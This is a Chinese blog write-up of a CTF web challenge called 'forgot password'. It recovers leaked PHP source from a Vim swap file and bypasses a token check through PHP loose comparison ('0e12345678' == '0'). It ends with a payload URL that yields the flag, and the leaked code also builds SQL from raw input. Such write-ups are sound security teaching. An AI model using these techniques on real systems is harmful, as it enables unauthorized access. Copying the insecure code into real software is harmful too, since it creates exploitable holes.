实验吧-忘记密码了

最新推荐文章于 2021-03-25 19:12:18 发布

「已注销」

最新推荐文章于 2021-03-25 19:12:18 发布

阅读量320

点赞数

CC 4.0 BY-SA版权

本文链接：https://blog.youkuaiyun.com/qingchenldl/article/details/84576425

忘记密码了

原题链接

http://ctf5.shiyanbar.com/10/upload/step1.php

分析

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
    <meta name="renderer" content="webkit" />
    <meta name="admin" content="admin@simplexue.com" />
    <meta name="editor" content="Vim" />
<br />

注意有个Vim。难道是提示说有vim的源码泄露？试了一下step1.php.swp也不对啊。。。

注册后得到提示

你邮箱收到的重置密码链接为 ./step2.php?email=youmail@mail.com&check=???????

容易得到我们的重置密码链接
http://ctf5.shiyanbar.com/10/upload/step2.php?email=admin@nuptzj.cn&check=???????

问题是check是什么呢？先不管，访问看看，然后一闪而过，回到了原来的注册页面。应该是由于check的问题，但是一闪而过的页面是什么样的呢？

于是抓包看了一下，发现重要信息，有一个新页面submit.php，step2.php，实际上是把数据传给了submit.php

那么Vim的源码泄露，找到罪恶之源了。
http://ctf5.shiyanbar.com/10/upload/.submit.php.swp


........这一行是省略的代码........

/*
如果登录邮箱地址不是管理员则 die()
数据库结构

--
-- 表的结构 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 转存表中的数据 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/


........这一行是省略的代码........

if(!empty($token)&&!empty($emailAddress)){
    if(strlen($token)!=10) die('fail');
    if($token!='0') die('fail');
    $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
    $r = mysql_query($sql) or die('db error');
    $r = mysql_fetch_assoc($r);
    $r = $r['num'];
    if($r>0){
        echo $flag;
    }else{
        echo "失败了呀";
    }
}

注意到这一句

if(strlen($token)!=10) die('fail');
    if($token!='0') die('fail');

token 为10位，且为0，邮箱必须是管理员邮箱，在step1.php里有管理员邮箱admin@simplexue.com
那就简单了
token=0e12345678

这里用的是submit.php

如果还是用step2.php 还是会闪回step1.php，这里有点坑。
还有一个坑点就是，submit.php和step2.php的提交参数不一样，
这一点在抓包的源码中可以看出来。

email:<input name="emailAddress" type="text" <br />
<b>Notice</b>:  Use of undefined constant email - assumed 'email' in <b>C:\h43a1W3\phpstudy\WWW\10\upload\step2.php</b> on line <b>49</b><br />
value="admin@simplexue.com"  disable="true"/></br>
        token:<input name="token" type="text" /></br>
        <input type="submit" value="提交">
    </form>
</body>

emailAddress&token

于是有了payload
http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0e12345678